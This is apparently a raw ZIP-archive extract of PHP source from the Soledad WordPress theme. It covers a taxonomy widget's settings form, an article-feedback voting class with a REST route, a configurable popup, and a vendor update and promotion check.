			$defaults = $this->soledad_widget_defaults();
			$instance = wp_parse_args( (array) $instance, $defaults );

			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			$tax            = isset( $instance['tax'] ) ? $instance['tax'] : 'category';
			$style          = isset( $instance['style'] ) ? $instance['style'] : '';
			$order          = isset( $instance['order'] ) ? $instance['order'] : '';
			?>

            <!-- Widget Title: Text Input -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo $instance_title; ?>"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'style' ) ); ?>"><?php esc_html_e( 'Style:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'style' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'style' ) ); ?>"
                        class="widefat categories" style="width:100%;">
					<?php
					$styles = [
						'style-1' => 'List',
						'style-2' => 'Boxed',
						'style-3' => 'Dropdown',
					];
					foreach ( $styles as $name => $label ) {
						?>
                        <option value='<?php echo esc_attr( $name ); ?>' <?php if ( $name == $style ) {
							echo 'selected="selected"';
						} ?>><?php echo $label; ?></option>
					<?php } ?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'tax' ) ); ?>"><?php esc_html_e( 'Select Taxnonomy:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'tax' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'tax' ) ); ?>"
                        class="widefat categories" style="width:100%;">
					<?php
					$post_types = get_post_types( [
						'public' => true,
					], 'objects' );
					foreach ( $post_types as $post_type => $type ) {
						foreach ( get_object_taxonomies( $type->name, 'object' ) as $tax_name => $tax_info ) {
							?>
                            <option value='<?php echo esc_attr( $tax_name ); ?>' <?php if ( $tax_name == $tax ) {
								echo 'selected="selected"';
							} ?>><?php echo sanitize_text_field( $type->label . ' - ' . $tax_info->label ); ?></option>
						<?php }
					} ?>
                </select>
            </p>

			<?php
			$order_by_lists = array( 'term_id', 'name', 'slug', 'count' )
			?>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'orderby' ) ); ?>"><?php esc_html_e( 'Order by:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'orderby' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'orderby' ) ); ?>"
                        class="widefat categories" style="width:100%;">
					<?php foreach ( $order_by_lists as $orderl ): ?>
                        <option value='<?php echo $orderl; ?>' <?php if ( $orderl == $order ) {
							echo 'selected="selected"';
						} ?>><?php echo $orderl; ?>
                        </option>
					<?php endforeach; ?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'order' ) ); ?>"><?php esc_html_e( 'Order:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'order' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'order' ) ); ?>"
                        class="widefat categories" style="width:100%;">
                    <option value='ASC' <?php if ( 'ASC' == $order ) {
						echo 'selected="selected"';
					} ?>>ASC
                    </option>
                    <option value='DESC' <?php if ( 'DESC' == $order ) {
						echo 'selected="selected"';
					} ?>>DESC
                    </option>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'toggle' ) ); ?>"><?php esc_html_e( 'Enable toggle to view child terms?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'toggle' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'toggle' ) ); ?>" <?php checked( (bool) $instance['toggle'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'hide_empty' ) ); ?>"><?php esc_html_e( 'Show empty term?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'hide_empty' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'hide_empty' ) ); ?>" <?php checked( (bool) $instance['hide_empty'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'hierarchical' ) ); ?>"><?php esc_html_e( 'Show in hierarchical?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'hierarchical' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'hierarchical' ) ); ?>" <?php checked( (bool) $instance['hierarchical'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'count' ) ); ?>"><?php esc_html_e( 'Show posts count?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'count' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'count' ) ); ?>" <?php checked( (bool) $instance['count'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'mark_count' ) ); ?>"><?php esc_html_e( 'Highlight posts count?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'mark_count' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'mark_count' ) ); ?>" <?php checked( (bool) $instance['mark_count'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'maxitems' ) ); ?>">Limit Number of Categories to
                    Show</label>
                <input type="number" class="widefat"
                       id="<?php echo esc_attr( $this->get_field_id( 'maxitems' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'maxitems' ) ); ?>"
                       value="<?php echo $instance['maxitems']; ?>">
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'exclude' ) ); ?>"><?php esc_html_e( 'Exclude Term IDs:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'exclude' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'exclude' ) ); ?>"
                       value="<?php echo $instance['exclude']; ?>"/>
            </p>

            <p>
                <label for="<?php echo $this->get_field_id( 'color' ); ?>"
                       style="display:block;"><?php _e( 'Color:' ); ?></label>
                <input class="widefat pcwoo-color-picker color-picker"
                       id="<?php echo $this->get_field_id( 'color' ); ?>"
                       name="<?php echo $this->get_field_name( 'color' ); ?>" type="text"
                       value="<?php echo $instance['color']; ?>"/>
            </p>

            <p>
                <label for="<?php echo $this->get_field_id( 'hcolor' ); ?>"
                       style="display:block;"><?php _e( 'Hover Color:' ); ?></label>
                <input class="widefat pcwoo-color-picker color-picker"
                       id="<?php echo $this->get_field_id( 'hcolor' ); ?>"
                       name="<?php echo $this->get_field_name( 'hcolor' ); ?>" type="text"
                       value="<?php echo $instance['hcolor']; ?>"/>
            </p>

            <p>
                <label for="<?php echo $this->get_field_id( 'bgcolor' ); ?>"
                       style="display:block;"><?php _e( 'Background Color:' ); ?></label>
                <input class="widefat pcwoo-color-picker color-picker"
                       id="<?php echo $this->get_field_id( 'bgcolor' ); ?>"
                       name="<?php echo $this->get_field_name( 'bgcolor' ); ?>" type="text"
                       value="<?php echo $instance['bgcolor']; ?>"/>
            </p>

            <p>
                <label for="<?php echo $this->get_field_id( 'bghcolor' ); ?>"
                       style="display:block;"><?php _e( 'Background Hover Color:' ); ?></label>
                <input class="widefat pcwoo-color-picker color-picker"
                       id="<?php echo $this->get_field_id( 'bghcolor' ); ?>"
                       name="<?php echo $this->get_field_name( 'bghcolor' ); ?>" type="text"
                       value="<?php echo $instance['bghcolor']; ?>"/>
            </p>

            <p>
                <label for="<?php echo $this->get_field_id( 'bdcolor' ); ?>"
                       style="display:block;"><?php _e( 'Borders Color:' ); ?></label>
                <input class="widefat pcwoo-color-picker color-picker"
                       id="<?php echo $this->get_field_id( 'bdcolor' ); ?>"
                       name="<?php echo $this->get_field_name( 'bdcolor' ); ?>" type="text"
                       value="<?php echo $instance['bdcolor']; ?>"/>
            </p>

            <p>
                <label for="<?php echo $this->get_field_id( 'bdhcolor' ); ?>"
                       style="display:block;"><?php _e( 'Borders Hover Color (for Boxed Style):' ); ?></label>
                <input class="widefat pcwoo-color-picker color-picker"
                       id="<?php echo $this->get_field_id( 'bdhcolor' ); ?>"
                       name="<?php echo $this->get_field_name( 'bdhcolor' ); ?>" type="text"
                       value="<?php echo $instance['bdhcolor']; ?>"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'fsize' ) ); ?>">Font Size for Term Name</label>
                <input type="number" class="widefat"
                       id="<?php echo esc_attr( $this->get_field_id( 'fsize' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'fsize' ) ); ?>"
                       value="<?php echo $instance['fsize']; ?>">
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'fsizec' ) ); ?>">Font Size for Counter</label>
                <input type="number" class="widefat"
                       id="<?php echo esc_attr( $this->get_field_id( 'fsizec' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'fsizec' ) ); ?>"
                       value="<?php echo $instance['fsizec']; ?>">
            </p>

			<?php
		}
	}
}
?>
PK     N\ІLi(  (    inc/article_feedback.phpnu [        <?php

class Penci_Article_FeedBack {
    /**
     * @var array List of supported post types
     */
    private $post_types = [];

    /**
     * Constructor
     */
    public function __construct() {
        // Read selected post types
        $this->post_types = get_theme_mod( 'penci_ha_enabled_post_types', [] );

        if ( empty( $this->post_types ) || is_front_page() || is_home() || is_archive() || is_search() || is_404() ) {
            return;
        }

        add_action( 'init', [ $this, 'post_type_support' ] );
        add_action( 'wp_enqueue_scripts', [ $this, 'enqueue_assets' ] );
        add_filter( 'the_content', [ $this, 'render_feedback' ] );
        add_action( 'rest_api_init', [ $this, 'register_routes' ] );
        add_action( 'add_meta_boxes', array( $this, 'add_feedback_meta_box' ) );
        add_action( 'save_post', array( $this, 'save_meta' ) );
    }

    public function add_feedback_meta_box( $post_type ) {

        $post_types = array_diff( $this->post_types, [ 'post', 'page' ] ); // Exclude 'post' and 'page' if present

		add_meta_box(
            'penci_helpful_meta',
            esc_html__( 'Article Feedback', 'soledad' ),
            array( $this, 'render_meta_box_content' ),
            $post_types,
            'advanced',
            'default'
        );
	}

    public function save_meta( $post_id ) {
        if ( ! isset( $_POST['penci_article_feedback'] ) ) {
			return $post_id;
		}

		$nonce = $_POST['penci_article_feedback'];

		// Verify that the nonce is valid.
		if ( ! wp_verify_nonce( $nonce, 'penci_article_feedback' ) ) {
			return $post_id;
		}

        if ( isset( $_POST['penci_helpful_enable'] ) ) {
			update_post_meta( $post_id, 'penci_helpful_enable', $_POST['penci_helpful_enable'] );
		}

		// If this is an autosave, our form has not been submitted,
		//     so we don't want to do anything.
		if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) {
			return $post_id;
		}
    }

    public function render_meta_box_content( $post ) {
        wp_nonce_field( 'penci_article_feedback', 'penci_article_feedback' );
        $penci_helpful_enable = get_post_meta( $post->ID, 'penci_helpful_enable', true );
        ?>
        <div class="pcmt-control-wrapper">
            <div class="pcmt-title">
                <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php esc_html_e( 'Enable Article Feedback for This
                    Post', 'soledad' ); ?></h2>
            </div>
            <div class="pcmt-control">
                <p>
                    <select id="penci_helpful_enable" name="penci_helpful_enable">
                        <option value=""><?php esc_html_e( 'Default Settings', 'soledad' ); ?></option>
                        <option value="yes" <?php selected( $penci_helpful_enable, 'yes' ); ?>><?php esc_html_e( 'Yes', 'soledad' ); ?></option>
                        <option value="no" <?php selected( $penci_helpful_enable, 'no' ); ?>><?php esc_html_e( 'No', 'soledad' ); ?></option>
                    </select>
                </p>
            </div>
        </div>
        <?php
    }

    /**
     * Register REST API routes
     */
    public function register_routes() {
        register_rest_route( 'article_feedback/v1', '/feedback/(?P<post_id>\d+)', [
            'methods'             => 'POST',
            'callback'            => [ $this, 'handle_feedback' ],
            'permission_callback' => '__return_true',
        ] );
    }

    /**
     * Enqueue assets
     */
    public function enqueue_assets() {
        if ( is_singular( $this->post_types ) ) {
            wp_enqueue_script(
                'penci-article-feedback',
                PENCI_SOLEDAD_URL . '/js/feedback.js',
                [ 'jquery' ],
                PENCI_SOLEDAD_VERSION,
                true
            );
        }
    }

    /**
     * Render feedback UI
     */
    public function render_feedback( $content ) {
        $feedback_content = '';

        $post_id       = get_the_ID();
        $meta_setting  = get_post_meta( $post_id, 'penci_helpful_enable', true );
        $show_feedback = $meta_setting === 'yes' ? true : ( $meta_setting === 'no' ? false : is_singular( $this->post_types ) );

        if ( $show_feedback ) {
            $post_id = get_the_ID();

            $class = 'penci-afb-disabled';

            $thank_text = $question_text = esc_attr( $this->get_text( 'thank' ) );
            $yes_text = esc_html( $this->get_text( 'yes' ) );
            $no_text = esc_html( $this->get_text( 'no' ) );

            // Don't show feedback if already voted
            if ( ! isset( $_COOKIE[ "penci_afb_" . $post_id ] ) ) {
                $class = 'penci-afb-enable';
                $question_text = esc_html( $this->get_text( 'question' ) );
            }

            $yes_count = '<i class="penci-afb-count-yes">' . (int) get_post_meta( $post_id, 'penci_feedback_yes', true ) . '</i>';
            $no_count = '<i class="penci-afb-count-no">' . (int) get_post_meta( $post_id, 'penci_feedback_no', true ) . '</i>';

            $yes_icon = '<svg width="800px" height="800px" viewBox="0 0 1920 1920" xmlns="http://www.w3.org/2000/svg"><path d="M1863.059 1016.47c0-124.574-101.308-225.882-225.883-225.882H1203.37c-19.651 0-37.044-9.374-47.66-25.863-10.391-16.15-11.86-35.577-3.84-53.196 54.776-121.073 94.87-247.115 119.378-374.513 15.925-83.576-5.873-169.072-60.085-234.578C1157.29 37.384 1078.005 0 993.751 0H846.588v56.47c0 254.457-155.068 473.224-285.063 612.029-72.734 77.477-176.98 122.09-285.967 122.09H56v734.117C56 1742.682 233.318 1920 451.294 1920h960c124.574 0 225.882-101.308 225.882-225.882 0-46.42-14.117-89.676-38.174-125.59 87.869-30.947 151.116-114.862 151.116-213.234 0-46.419-14.118-89.675-38.174-125.59 87.868-30.946 151.115-114.862 151.115-213.233" fill-rule="evenodd"/></svg>';

            $feedback_content .= '<div class="penci-article-feedback '.$class.'" id="penci-article-feedback" data-post-id="' . esc_attr( $post_id ) . '" data-thank-text="' . $thank_text . '">';
            $feedback_content .= '<div class="penci-afb-title">' . $question_text . '</div>';
            $feedback_content .= '<div class="penci-afb-yn">';
            $feedback_content .= '<span class="penci-afbl" data-value="1">' . $yes_icon . $yes_text . $yes_count . '</span>';
            $feedback_content .= '<span class="penci-afbdl" data-value="0">' . $no_text . $yes_icon . $no_count . '</span>';
            $feedback_content .= '</div></div>';
            
        }

        return $content . $feedback_content;
    }

    /**
     * Handle feedback submission via REST API
     *
     * @param WP_REST_Request $request
     * @return WP_REST_Response
     */
    public function handle_feedback( $request ) {
        $post_id = $request->get_param( 'post_id' );
        $value   = $request->get_param( 'value' );

        // Validate post ID
        if ( ! get_post( $post_id ) || ! in_array( get_post_type( $post_id ), $this->post_types, true ) ) {
            return new WP_REST_Response( [ 'error' => 'Invalid post ID' ], 400 );
        }

        // Validate value
        if ( ! in_array( $value, [ 0, 1 ], true ) ) {
            return new WP_REST_Response( [ 'error' => 'Invalid feedback value' ], 400 );
        }

        $meta_key   = $value ? 'penci_feedback_yes' : 'penci_feedback_no';
        $meta_value = (int) get_post_meta( $post_id, $meta_key, true ) + 1;

        update_post_meta( $post_id, $meta_key, $meta_value );

        return new WP_REST_Response( [
            'success' => true,
            'yes'     => $meta_key === 'penci_feedback_yes' ? $meta_value : (int) get_post_meta( $post_id, 'penci_feedback_yes', true ),
            'no'      => $meta_key === 'penci_feedback_no'  ? $meta_value : (int) get_post_meta( $post_id, 'penci_feedback_no', true ),
        ], 200 );
    }

    /**
     * Get localized text for feedback
     *
     * @param string $key
     * @return string
     */
    private function get_text( $key ) {
        $texts = [
            'thank'    => __( 'Thank you for your feedback!', 'soledad' ),
            'question' => __( 'Was this article helpful?', 'soledad' ),
            'yes'      => __( 'Yes', 'soledad' ),
            'no'       => __( 'No', 'soledad' ),
        ];

		return get_theme_mod( 'penci_ha_' . $key . '_text' ) ? get_theme_mod( 'penci_ha_' . $key . '_text' ) : $texts[ $key ];
    }

    public function penci_feedback_column( $column, $post_id ) {

        // Variables
        $positive_value = intval( get_post_meta( $post_id, 'penci_feedback_yes', true ) );
        $negative_value = intval( get_post_meta( $post_id, 'penci_feedback_no', true ) );

        // Total
        $total = $positive_value + $negative_value;

        if ( $total > 0 ) {
            $ratio = intval( $positive_value * 100 / $total );
        }

        // helpful ration
        if ( $column == 'penci_feedback' ) {

            if ( $total > 0 ) {
                echo "<strong style='display:block;'>%" . $ratio . "</strong>";
                echo "<em style='display:block;color:rgba(0,0,0,.55);'>" . $positive_value . " helpful" . " / " . $negative_value . " not helpful</em>";
                echo "<div style='margin-top: 5px;width:100%;max-width:100px;background:rgba(0,0,0,.12);line-height:0px;font-size:0px;border-radius:3px;'><span style='width:" . $ratio . "%;background:rgba(0,0,0,.55);height:4px;display:inline-block;border-radius:3px;'></span></div>";
            } else {
                echo "—";
            }

        }

    }

    public function column_heading( $columns ) {

        // Add column
        $columns['penci_feedback'] = __( 'Feedback', 'soledad' );

        return $columns;
    }

    // Adds post type support
    public function post_type_support() {

        // Get selected post types
        $selected_post_types = $this->post_types;

        // loop selected type
        if ( ! empty( $selected_post_types ) ) {

            foreach ( $selected_post_types as $selected_type ) {

                add_filter( 'manage_' . $selected_type . '_posts_columns', [ $this, 'column_heading' ] );
                add_action( 'manage_' . $selected_type . '_posts_custom_column', [
                    $this,
                    'penci_feedback_column'
                ], 10, 2 );

            }

        }

    }
}

new Penci_Article_FeedBack();PK     N\"  "    inc/popup.phpnu [        <?php

class PenciPopup {
	function __construct() {

		$popup_enable = get_theme_mod( 'penci_popup_enable' );
		$popup_mobile = get_theme_mod( 'penci_popup_disable_mobile' );

		if ( ! $popup_enable || ( penci_is_mobile() && $popup_mobile ) || is_admin() ) {
			return;
		}

		add_action( 'wp_footer', [ $this, 'popup_content' ] );
		add_action( 'soledad_theme/custom_css', [ $this, 'popup_style' ] );
		add_action( 'wp_enqueue_scripts', [ $this, 'popup_assets' ] );
	}

	public function popup_assets() {
		wp_register_script( 'penci-popup', PENCI_SOLEDAD_URL . '/js/penci-popup.js', [ 'js-cookies' ], PENCI_SOLEDAD_VERSION, true );
		wp_localize_script( 'penci-popup', 'penci_popup_settings', [
			'promo_version' => get_theme_mod( 'penci_popup_version', '1' ),
			'close'         => true,
			'loading'       => true,
			'popup_pages'   => get_theme_mod( 'penci_popup_show_after_pages', 0 ),
			'popup_event'   => get_theme_mod( 'penci_popup_show_after', 'all_pages' ),
			'popup_scroll'  => get_theme_mod( 'penci_popup_show_after_scroll', 1000 ),
			'popup_delay'   => (int) get_theme_mod( 'penci_popup_show_after_time', 7 ),
		] );
	}

	public function popup_content() {

		if ( ! $this->should_display_popup() ) {
			return;
		}

		wp_enqueue_script( 'penci-popup' );

		$popup_render_content = $class = '';

		$popup_content = get_theme_mod( 'penci_popup_html_content' );
		$popup_block   = get_theme_mod( 'penci_popup_block' );

		if ( $popup_block == '' && $popup_content ) {
			
			$popup_render_content = do_shortcode( $popup_content );
			$class                = 'normal-content';
			
		} elseif ( $popup_block ) {
			$popup_block_id = get_page_by_path( $popup_block, OBJECT, 'penci-block' )->ID;
			$class          = 'block-content';
			if ( $popup_block_id && did_action( 'elementor/loaded' ) && \Elementor\Plugin::$instance->documents->get( $popup_block_id )->is_built_with_elementor() ) {
				$popup_render_content .= penci_get_elementor_content( $popup_block_id );
			} else {
				$popup_render_content .= do_shortcode( get_post( $popup_block_id )->post_content );

				$shortcodes_custom_css = get_post_meta( $popup_block_id, '_wpb_shortcodes_custom_css', true );

				$popup_render_content .= '<style data-type="vc_shortcodes-custom-css">';
				if ( ! empty( $shortcodes_custom_css ) ) {
					$popup_render_content .= $shortcodes_custom_css;
				}
				$popup_render_content .= '</style>';
			}
		}

		if ( $popup_render_content ) {
			$version   = get_theme_mod( 'penci_popup_version' );
			$animation = get_theme_mod( 'penci_popup_animation', 'move-to-top' );
			echo '<div id="penci-popup-' . esc_attr( $version ) . '" class="mfp-with-anim penci-popup-content ' . $class . ' ' . $animation . '">' . $popup_render_content . '</div>';
			wp_reset_postdata();
		}
	}

	public function should_display_popup() {
		$return = true;

		$popup_search = get_theme_mod( 'penci_popup_exclude_search' );
		$popup_404    = get_theme_mod( 'penci_popup_exclude_404' );

		if ( is_single() || is_page() || is_singular() || is_home() || is_front_page() ) {
			$return = $this->should_display_singular_popup();
		} else if ( is_tax() || is_category() || is_tag() ) {
			$return = $this->should_display_archive_popup();
		}

		if ( ( is_search() && $popup_search ) || ( is_404() && $popup_404 ) ) {
			$return = false;
		}

		return $return;
	}

	public function should_display_singular_popup() {
		global $post;
		$post_type = get_post_type();
		$post_id   = $post->ID;

		$homepage = get_theme_mod( 'penci_popup_exclude_homepages' );
		$blogpage = get_theme_mod( 'penci_popup_exclude_blog' );

		$ex = get_theme_mod( 'penci_popup_ex_singular_ids' ) ? explode( ',', get_theme_mod( 'penci_popup_ex_singular_ids' ) ) : '';
		$in = get_theme_mod( 'penci_popup_in_singular_ids' ) ? explode( ',', get_theme_mod( 'penci_popup_in_singular_ids' ) ) : '';

		$show = false;

		if ( is_singular( $post_type ) ) {
			$show = get_theme_mod( 'penci_popup_show_' . $post_type );
		}

		if ( is_singular() && is_array( $ex ) && in_array( $post_id, $ex ) ) {
			$show = false;
		}

		if ( is_array( $in ) && is_singular() ) {
			$show = false;
		}

		if ( is_singular() && is_array( $in ) && in_array( $post_id, $in ) ) {
			$show = true;
		}

		if ( is_home() || is_front_page() ) {
			$show = true;
		}

		if ( is_home() && $homepage && is_front_page() || ( is_front_page() && $homepage ) ) {
			$show = false;
		} else if ( is_home() && $blogpage ) {
			$show = false;
		}

		return $show;
	}

	public function should_display_archive_popup() {
		$tax  = get_queried_object();
		$show = false;

		if ( isset( $tax->taxonomy ) && $tax->taxonomy ) {
			$show = get_theme_mod( 'penci_popup_archive_' . $tax->taxonomy );
		}

		return $show;
	}

	public function popup_style() {

		if ( ! $this->should_display_popup() ) {
			return;
		}

		$popup_bgimg       = get_theme_mod( 'penci_popup_bgimg' );
		$popup_bgcl        = get_theme_mod( 'penci_popup_bgcolor' );
		$popup_bgrepeat    = get_theme_mod( 'penci_popup_bgrepeat' );
		$popup_bgposition  = get_theme_mod( 'penci_popup_bgposition' );
		$popup_bgsize      = get_theme_mod( 'penci_popup_bgsize' );
		$popup_bgscroll    = get_theme_mod( 'penci_popup_bgscroll' );
		$popup_mw          = get_theme_mod( 'penci_popup_width_mobile' );
		$popup_w           = get_theme_mod( 'penci_popup_width_desktop' );
		$popup_cl          = get_theme_mod( 'penci_popup_txtcolor' );
		$popup_tsize       = get_theme_mod( 'penci_popup_txt_size' );
		$popup_tmsize      = get_theme_mod( 'penci_popup_txt_msize' );
		$popup_spacing     = get_theme_mod( 'penci_popup_spacing' );
		$popup_bordercolor = get_theme_mod( 'penci_popup_bordercolor' );

		echo '.penci-popup-content{';
		if ( $popup_bgimg ) {
			echo 'background-image:url("' . esc_url( $popup_bgimg ) . '");';
		}
		if ( $popup_bgcl ) {
			echo 'background-color:' . esc_attr( $popup_bgcl ) . ';';
		}
		if ( $popup_bgrepeat ) {
			echo 'background-repeat:' . esc_attr( $popup_bgrepeat ) . ';';
		}
		if ( $popup_bgposition ) {
			echo 'background-position:' . esc_attr( $popup_bgposition ) . ';';
		}
		if ( $popup_bgsize ) {
			echo 'background-size:' . esc_attr( $popup_bgsize ) . ';';
		}
		if ( $popup_bgscroll ) {
			echo 'background-scroll:' . esc_attr( $popup_bgscroll ) . ';';
		}
		if ( $popup_w ) {
			echo 'max-width:' . esc_attr( $popup_w ) . 'px;';
		}
		if ( $popup_cl ) {
			echo 'color:' . esc_attr( $popup_cl ) . ';';
		}
		if ( $popup_tsize ) {
			echo 'font-size:' . esc_attr( $popup_tsize ) . 'px;';
		}
		if ( $popup_bordercolor ) {
			echo 'border-color:' . esc_attr( $popup_bordercolor ) . ';';
			echo 'border-style: solid;';
		}
		if ( $popup_spacing ) {
			echo $this->penci_spacing_extract_data( $popup_spacing );
		}
		echo '}';

		$popup_close_cl = get_theme_mod( 'penci_popup_closecolor' );

		if ( $popup_close_cl ) {
			echo '.mfp-close-btn-in .penci-popup-content .mfp-close{';
			echo 'color:' . esc_attr( $popup_close_cl ) . ';';
			echo '}';
		}


		echo '@media only screen and (max-width:767px){.penci-popup-content{';
		if ( $popup_tmsize ) {
			echo 'font-size:' . esc_attr( $popup_tmsize ) . 'px;';
		}
		if ( $popup_mw ) {
			echo 'max-width:' . esc_attr( $popup_mw ) . 'px;';
		}
		echo '}}';

	}

	public function penci_spacing_extract_data( $number = '', $out = '' ) {
		$mpb = explode( ',', $number );
		if ( isset( $mpb[0] ) && is_numeric( $mpb[0] ) ) {
			$out .= 'padding-top:' . esc_attr( $mpb[0] ) . 'px;';
		}
		if ( isset( $mpb[1] ) && is_numeric( $mpb[1] ) ) {
			$out .= 'padding-right:' . esc_attr( $mpb[1] ) . 'px;';
		}
		if ( isset( $mpb[2] ) && is_numeric( $mpb[2] ) ) {
			$out .= 'padding-bottom:' . esc_attr( $mpb[2] ) . 'px;';
		}
		if ( isset( $mpb[3] ) && is_numeric( $mpb[3] ) ) {
			$out .= 'padding-left:' . esc_attr( $mpb[3] ) . 'px;';
		}

		if ( isset( $mpb[4] ) && is_numeric( $mpb[4] ) ) {
			$out .= 'border-top-width:' . esc_attr( $mpb[4] ) . 'px;';
		}
		if ( isset( $mpb[5] ) && is_numeric( $mpb[5] ) ) {
			$out .= 'border-right-width:' . esc_attr( $mpb[5] ) . 'px;';
		}
		if ( isset( $mpb[6] ) && is_numeric( $mpb[6] ) ) {
			$out .= 'border-bottom-width:' . esc_attr( $mpb[6] ) . 'px;';
		}
		if ( isset( $mpb[7] ) && is_numeric( $mpb[7] ) ) {
			$out .= 'border-left-width:' . esc_attr( $mpb[7] ) . 'px;';
		}

		if ( isset( $mpb[8] ) && is_numeric( $mpb[8] ) ) {
			$out .= 'border-top-left-radius:' . esc_attr( $mpb[8] ) . 'px;';
		}
		if ( isset( $mpb[9] ) && is_numeric( $mpb[9] ) ) {
			$out .= 'border-top-right-radius:' . esc_attr( $mpb[9] ) . 'px;';
		}
		if ( isset( $mpb[10] ) && is_numeric( $mpb[10] ) ) {
			$out .= 'border-bottom-right-radius:' . esc_attr( $mpb[10] ) . 'px;';
		}
		if ( isset( $mpb[11] ) && is_numeric( $mpb[11] ) ) {
			$out .= 'border-bottom-left-radius:' . esc_attr( $mpb[11] ) . 'px;';
		}

		return $out;
	}
}

$popup = new PenciPopup;
PK     N\]՝
  
    inc/theme-updates.phpnu [        <?php
// No direct access, please
function penci_is_new_update( $version = null ) {
	if ( ! is_admin() || get_theme_mod( 'penci_disable_notice_updates' ) ) {
		return false;
	}

	$url = 'https://penci-api.s3.amazonaws.com/datas.json';
	// Namespace in case of collision, since transients don't support groups like object caching.
	$cache_key = md5( 'remote_apis|' . $url );
	$request   = get_transient( $cache_key );

	if ( false === $request ) {
		$request = wp_remote_get( $url );

		if ( is_wp_error( $request ) ) {
			// Cache failures for a short time, will speed up page rendering in the event of remote failure. Cache for 15 mins = 60 * 15 = 900
			set_transient( $cache_key, $request, 900 );

			return false;
		}
		// Success, cache for a longer time - 24 hours = 60 * 60 * 24 = 86400
		set_transient( $cache_key, $request, 86400 );
	}

	if ( is_wp_error( $request ) ) {
		return false;
	}

	$body = wp_remote_retrieve_body( $request );
	$data = json_decode( $body );

	if ( ! empty( $data ) ) {
		$current_version = $data->soledad->version;
		if ( isset( $current_version ) ) {
			if ( 'version' == $version ) {
				return $current_version;
			}
			if ( ! defined( 'PENCI_SOLEDAD_VERSION' ) || empty( PENCI_SOLEDAD_VERSION ) || version_compare( $current_version, PENCI_SOLEDAD_VERSION, '<=' ) ) {
				return false;
			} else {
				return true;
			}
		}
	}
}

function penci_is_new_promotion( $data_check = false ) {
	if ( ! is_admin() ) {
		return false;
	}

	$url = 'https://penci-api.s3.amazonaws.com/datas.json';
	
	// Namespace in case of collision, since transients don't support groups like object caching.
	$cache_key = md5( 'remote_apis_promo|' . $url );
	$request = get_transient( $cache_key );

	if ( false === $request ) {
		$request = wp_remote_get( $url );

		if ( is_wp_error( $request ) ) {
			// Cache failures for a short time, will speed up page rendering in the event of remote failure. Cache for 15 mins = 60 * 15 = 900
			set_transient( $cache_key, $request, 900 );
			return false;
		}
		// Success, cache for a longer time - 24 hours = 60 * 60 * 24 = 86400
		set_transient( $cache_key, $request, 86400 );
	}

	if ( is_wp_error( $request ) ) {
		return false;
	}


	$body = wp_remote_retrieve_body( $request );
	$data = json_decode( $body );

	if ( ! empty( $data ) ) {
		$banner_url  = isset( $data->promo->img ) && $data->promo->img ? $data->promo->img : '';
		$banner_link = isset( $data->promo->url ) && $data->promo->url ? $data->promo->url : '';

		if ( $data_check == false ) {
			if( $banner_link && $banner_url ){
				return true;
			}
		} else {
			if( $banner_link && $banner_url ){
				return [ 'url' => $banner_url, 'link' => $banner_link ];
			}
		}

		return false;
	}
}PK     N\*{3  3    content-overlay.phpnu [        <?php
/**
 * Template loop for overlay style
 */
if ( ! isset ( $j ) ) {
	$j = 1;
} else {
	$j = $j;
}
$heading_title_tag = get_theme_mod( 'penci_grid_title_tag', 'h2' );
$heading_title_tag_class = 'h2' == $heading_title_tag ? 'penci_grid_title_df' : 'penci_grid_title';
